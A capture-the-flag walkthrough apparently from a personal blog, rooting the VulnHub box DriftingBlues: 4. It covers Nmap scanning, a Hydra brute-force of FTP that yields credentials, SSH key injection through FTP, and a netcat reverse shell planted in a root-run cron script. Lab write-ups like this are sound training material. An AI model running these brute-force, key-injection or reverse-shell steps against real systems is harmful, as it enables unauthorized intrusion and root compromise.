# DriftingBlues: 4 BOOT2ROOT CTF VULNHUB WRITEUP

Welcome back!! In this post, I’ll walk you through how I rooted the fourth box in the **DriftingBlues** series. This boot2root challenge was a great mix of enumeration, exploitation, and privilege escalation — and I’ll be sharing each step I took, from initial foothold all the way to gaining root access. Let's start!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FjAIfKdRn7flc6HRjx7vP%2FHi.gif?alt=media&#x26;token=30b9aa89-f82c-42fb-a30e-982a8787825c" alt=""><figcaption></figcaption></figure>

As usual, we’ll kick things off with an `Nmap` scan to identify open ports that might serve as our initial entry point into the system.

`nmap -A -sC -p- -T5 -oN nmap_result.log 192.168.137.55`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FigS2JLmg4bQiBXmfM8cl%2FScreenshot%20(1623).png?alt=media&#x26;token=d0909178-16b2-4ae2-a2c0-7c3b897668d5" alt=""><figcaption><p>Port 21 (FTP), Port 22 (SSH), and Port 80 (HTTP) are open</p></figcaption></figure>

Unfortunately, anonymous login is not permitted on the FTP server.

Let's visit the webpage.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FaAXLJROL4aamSHgxec9L%2FScreenshot%20(1624).png?alt=media&#x26;token=22a7feec-a931-46ee-9925-1f20bbcbb7fe" alt=""><figcaption></figcaption></figure>

Nothing useful, let's check the source code.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FKbYsn3kIcmth5ZJslWrZ%2FScreenshot%20(1625).png?alt=media&#x26;token=0aae611b-dd04-427e-8397-d3dac050af41" alt=""><figcaption></figcaption></figure>

There you are, we have a Base64 encoded string in the source code. Decode it and this is the plaintext.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fsl2tV99DzSZ6nkol4u7L%2FScreenshot%20(1628).png?alt=media&#x26;token=9e383abd-a5fb-48ad-bed0-1b7215ea923c" alt=""><figcaption></figcaption></figure>

Another Base64, Let's decode it again.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FpH3lsZbVefmVDW1d5Iy9%2FScreenshot%20(1629).png?alt=media&#x26;token=a3ec2eb3-90ee-4b18-974a-c8e27b64d76c" alt=""><figcaption></figcaption></figure>

Another Base64-,-

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FEcaADBS6Ly01bKhiJta4%2FScreenshot%20(1630).png?alt=media&#x26;token=2249755a-18b8-404b-b173-b407bf0afaf5" alt=""><figcaption></figcaption></figure>

Another one??? Boring...

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FLVZLekd53rfIbzzfdShs%2FScreenshot%20(1631).png?alt=media&#x26;token=dea3d5b4-c496-4ec4-8886-6c8bc91c1070" alt=""><figcaption></figcaption></figure>

At last, I really thought I’d get the root password after going through those four layers of Base64 decoding. XD

Let's visit the file.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FJtR7Pojam2bmH6NvCDpM%2FScreenshot%20(1632).png?alt=media&#x26;token=c1dd44f9-d47c-4026-896b-c6355e708c47" alt=""><figcaption></figcaption></figure>

A Brainf\*ck script — I've dealt with plenty of these before, haha. Let’s go ahead and execute it to reveal the plaintext.

The plaintext is a lot of hashes (#) and at the very bottom, there's a `.png` file path.&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FV5h5IYpAthRjzVLPZKTe%2FScreenshot%20(1633).png?alt=media&#x26;token=ce286f21-23e0-430a-923f-18095b688ca1" alt=""><figcaption></figcaption></figure>

Let's visit it.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FcuvePoBIaCZfEBQESnr5%2FScreenshot%20(1635).png?alt=media&#x26;token=6f84c407-b13a-4a62-97d0-51bb6cebd100" alt=""><figcaption></figcaption></figure>

We’ve got a QR code here. Instead of scanning it manually, we’ll extract its content using `zbarimg`.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fr9YC4klgHJVFL6ZGGWW3%2FScreenshot%20(1636).png?alt=media&#x26;token=3ec5752a-b3cf-41a3-9e4f-7ebedf9d2b90" alt=""><figcaption></figcaption></figure>

A link for another `.png` file. Let's visit it.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F6IfPF4ccst6r8fNUQtV4%2FScreenshot%20(1637).png?alt=media&#x26;token=c1184280-896c-4f8c-ab40-7002a62b2400" alt=""><figcaption></figcaption></figure>

We’ve got a list of names — could one of these be a potential username? Since the FTP port is open, it’s worth trying them out as possible login credentials.

I gathered all the names and saved them into a file called `user.txt`. Now, we'll use Hydra to brute-force the FTP login using this list with `rockyou.txt` .

`hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.137.55 ftp -t 40 -uVf`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FqswesJ7bf6PfLMAXr18z%2FScreenshot%20(1639).png?alt=media&#x26;token=273573bf-5e53-49fd-9754-631f0d4a5fd3" alt=""><figcaption></figcaption></figure>

It took some time, but we finally got access to the FTP credentials. Let's login!

`lftp -u hubert, john316 192.168.137.55`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F2T3yLxHxsdxSkgIoSb8E%2FScreenshot%20(1645).png?alt=media&#x26;token=3333e8d3-bcf2-424f-b276-423642bb2d55" alt=""><figcaption></figcaption></figure>

There’s a directory named `hubert`, which matches the username we logged in with. Let’s navigate into it and see what’s inside.

`cd hubert`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Ft18cI6aS820P2SHA3Yh3%2FScreenshot%20(1646).png?alt=media&#x26;token=99ba8776-eadc-456e-9dd9-ea0934286043" alt=""><figcaption></figcaption></figure>

The directory is completely empty — there isn’t a single file inside.

Since we're logged in as the user `hubert`, we have ownership over their home directory — which means we can create and modify files within it. This opens up an opportunity: we can try to create a `.ssh` directory inside Hubert’s home folder, then upload our own **public key** as `authorized_keys`. If successful, this would allow us to authenticate via **SSH using our corresponding private key**, effectively granting us shell access as hubert without needing a password.

Let's make a `.ssh` directory.

`mkdir .ssh`&#x20;

Then navigate to `.ssh` .

`cd .ssh`&#x20;

Copy our public key and place it inside a file named `authorized_keys`.&#x20;

Then put it in our target.

`put authorized_keys`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FOuxoSSdJBorWH6IG7reW%2FScreenshot%20(1649).png?alt=media&#x26;token=2f9c2452-083f-4075-8b8b-67b4200f3e9c" alt=""><figcaption></figcaption></figure>

Great! Our public key is now added to Hubert’s account — let’s attempt to login via SSH using our private key.

`ssh hubert@192.168.137.55 -i ~/.ssh/id_rsa`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FZ8iVe8fgRv8evRBRZZMK%2FScreenshot%20(1650).png?alt=media&#x26;token=6c6c5177-9003-4ac3-907f-8c736a009c20" alt=""><figcaption></figcaption></figure>

We're in!!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FFJ1hPb41WYm7dXXS6l4R%2FScreenshot%20(1654).png?alt=media&#x26;token=435bdad2-1699-4029-94ba-d385ba05c056" alt=""><figcaption><p>Got the User Flag!</p></figcaption></figure>

A Python file is also present alongside the `user.txt` file named `emergeny.py` .

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FaEN1iqnErITP4ngZRWd9%2FScreenshot%20(1657).png?alt=media&#x26;token=825ba534-e17a-433c-bcf6-16778987ea4c" alt=""><figcaption></figcaption></figure>

What’s most interesting is that `emergency.py` is owned by root, yet we still have permission to read and execute it.

Let me make this clear — a lot of people, especially those new to Linux, often get confused when they see a file that's owned by `root` but can still be read or executed by a regular user. The key thing to understand is that **ownership and permissions are two separate concepts** in Linux. Just because a file is owned by `root` doesn’t mean it's completely off-limits. What matters is the **file's permission settings**, which determine who can read, write, or execute it. For example, in our case, `emergency.py` is owned by `root`, but it has permission bits that allow others to read and execute it — so we’re able to access it without needing root privileges.

Think of it like a house: **ownership** is like having your name on the title deed (that’s `root`), but **permissions** are like leaving the door unlocked or giving others a key. You may own the house, but if you leave it unlocked (world-readable/executable), others can still walk in or look around. So don’t assume ownership alone controls access — always check the permissions with `ls -l`. That’s how you avoid getting tripped up when assessing access on Linux systems.

Back to the challenge, let's check the file's content.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F1A7D27Zp9nsFZuOSxtU2%2FScreenshot%20(1658).png?alt=media&#x26;token=ca8e0b87-d547-4f5d-8c57-d0f23b5aae46" alt=""><figcaption></figcaption></figure>

This code runs a system command that writes the value `1` into a file named `backdoor_testing` located in the `/tmp` directory. If the file doesn’t already exist, it will be created, and each time the code runs, another `1` gets added to the end of the file. It’s a basic way to log or mark something on the system using Python.

I had a strong suspicion that this code might be running on a schedule (cronjob), so I decided to run `pspy64` to monitor for any automated executions.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FP1ETZJ88ke5gYXYW5ohg%2FScreenshot%20(1660).png?alt=media&#x26;token=4024887d-31c0-4ec6-864f-7ff31ad21c02" alt=""><figcaption></figcaption></figure>

As shown, the script is executed by root! We can exploit this by injecting a reverse shell payload to gain root access.

This is perfect, it has `netcat`!!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FybfynF61dgTN2qCyTtul%2FScreenshot%20(1664).png?alt=media&#x26;token=9a10339e-7c7b-46f6-a657-a75763c17cb2" alt=""><figcaption></figcaption></figure>

Now let's modify the `emergency.py` .

We will remove the `emergency.py` and will make a modified one.

`rm emergency.py`

Now let's make a new one.

`nano emergency.py`

```python
#!/usr/bin/env python
import os

os.system('nc -e /bin/bash 192.168.137.246 1234')
```

Save it and make it executable.

`chmod +x emergency.py`&#x20;

Now, let’s set up a listener on our attacking machine to catch the incoming reverse shell connection.

`nc -lnvp 1234`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fd4nlpr8GpITvCGPGO0iO%2FScreenshot%20(1666).png?alt=media&#x26;token=f73ccbd5-da6b-4885-bcbd-fa058638e34e" alt=""><figcaption></figcaption></figure>

As you can see, our payload is executed successfully!

Now let's check out listener!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FK4LhnQ60Hjb5bMUiMFnn%2FScreenshot%20(1665).png?alt=media&#x26;token=eb933de9-aa82-4ef4-949e-c41d10fc40ae" alt=""><figcaption></figcaption></figure>

Yes! Now let’s upgrade the shell by spawning a proper TTY using `pty` .

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FUygQ6YU96jx2SeCVWOsL%2FScreenshot%20(1667).png?alt=media&#x26;token=df36bcd5-72a1-4db4-81de-6c009c2750e0" alt=""><figcaption></figcaption></figure>

We've successfully pwned DriftingBlues: 4!!

I forgot to grab a screenshot of the root flag, haha — but don’t worry, it’s the same format as the previous challenges.

This machine was relatively straightforward, making it a good challenge for beginners or those looking to sharpen their basic enumeration and privilege escalation skills. While it didn’t include overly complex techniques, it still required careful attention to detail and logical thinking — especially when spotting writable files executed by root and leveraging SSH key injection. Overall, it served as a solid reminder that even simple misconfigurations can lead to full system compromise when approached with the right mindset.
